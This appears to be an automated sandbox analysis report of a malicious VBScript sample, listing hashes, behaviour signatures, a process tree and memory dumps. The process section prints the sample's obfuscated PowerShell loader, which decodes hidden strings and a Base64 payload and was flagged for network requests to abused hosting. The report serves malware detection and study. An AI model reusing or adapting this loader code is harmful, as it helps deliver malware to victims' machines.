Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    18/04/2024, 01:16

General

  • Target

    27b8abaa4457130d3435ae7db4ae8049c48c50a700a535029ce1f8c621877579.vbs

  • Size

    210KB

  • MD5

    4a6be1b6607a80a583ff05c2ed8908ef

  • SHA1

    5073ceb6220c10c872b58d433c0d46994353af4e

  • SHA256

    27b8abaa4457130d3435ae7db4ae8049c48c50a700a535029ce1f8c621877579

  • SHA512

    25a9df574bf012aa79f9787736ed65eb3cfc3976e5a18137611615a7a99fb2a0614f98086260e85b880d932b46ffea1bc905a8d2cc2fac049eafb4040d8f817f

  • SSDEEP

    6144:lYBgIjQvrMbWSR4WHUJJs9E87Fy4lZrUChpqKmjum4QlNVrDjXR46cCPCRJf6q6I:e2dOUB6

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\27b8abaa4457130d3435ae7db4ae8049c48c50a700a535029ce1f8c621877579.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kindbakke = 1;$Unwebbed='Substrin';$Unwebbed+='g';Function Snese($Heraldically63){$Skdskindets=$Heraldically63.Length-$Kindbakke;For($Smand=5; $Smand -lt $Skdskindets; $Smand+=(6)){$Septangled+=$Heraldically63.$Unwebbed.Invoke($Smand, $Kindbakke);}$Septangled;}function Begreberne($Mellemdistancevaabnene){. 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Ti fCNumisoKlovnn V.luvChowee lerkrOvul,tIn,ia]Ateli: Nirl:ProduFSpecirDisproTekstmCircuB Eva adrjhesbevgee Radi6Radio4AgoraSSvecit BeserImproiTomiun.agsigThron(Inge.$Kam.kc,npreiGa,nisSygdotTa pov Afsga AlareDan.ynSal,s)Misdi ');Begreberne (Snese 'saddu$ Kam.gFunctlCountoAssimbVa,lea Ordkl Bour:veranO ObjedFlyveoO.erfnBrletthaandelinjexUdforeGald sForskiBeaugsSu,ti Mon t=bivir Vi,ti[CooniSChrisyFortnsUtilitTid.feSkuddmC ntr.BlockTF,dboefanatxAp.titDomes.O,rusE WyannTotalcBolsjoAnmrkdfrgeliBesudnToolmgVddel]Uddat:preaf:Ba daATamonSg,dsfCb mbyIEnro.I Vide.OpstiGboeg,e ForutGuld,SActint,fbinrCo.muiBar en onisgtrans(Na re$CelatSSamlet h ndiFrdigkBy,gelCarumaSpinsgFladlnCrespepalisrSk ann ,urdeUddis)Robep ');Begreberne (Snese 'manif$.artig Ma,hlNonmeoCaptibSly,gaFl.cclMiner:VasstH ZincuScytomAnticmUnstueMegaltUncom= Ca d$EpibaOAcierdB,rdeoOblatnSorbotExcomeni,raxObjeceTrolds Mi,diIridostrkga.PallisbenziuNeuryb .ommsToyfut Antir almai Us enMaanegSerab(L ndb3Indla2Photo4Veder1Cepha4Tiles2udenr, Konf2Pound9Oegep2Hunde9 nder4Unmis) Gyro ');Begreberne $Hummet;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2516
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tilkmpelse.Owe && echo $"
        3⤵
          PID:2476

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • memory/2516-22-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

      Filesize

      9.6MB

    • memory/2516-21-0x000000001B510000-0x000000001B7F2000-memory.dmp

      Filesize

      2.9MB

    • memory/2516-24-0x0000000002970000-0x0000000002978000-memory.dmp

      Filesize

      32KB

    • memory/2516-23-0x0000000002CB0000-0x0000000002D30000-memory.dmp

      Filesize

      512KB

    • memory/2516-25-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

      Filesize

      9.6MB

    • memory/2516-26-0x0000000002CB0000-0x0000000002D30000-memory.dmp

      Filesize

      512KB

    • memory/2516-27-0x0000000002CB0000-0x0000000002D30000-memory.dmp

      Filesize

      512KB

    • memory/2516-28-0x0000000002CB0000-0x0000000002D30000-memory.dmp

      Filesize

      512KB

    • memory/2516-31-0x0000000002CB0000-0x0000000002D30000-memory.dmp

      Filesize

      512KB

    • memory/2516-32-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

      Filesize

      9.6MB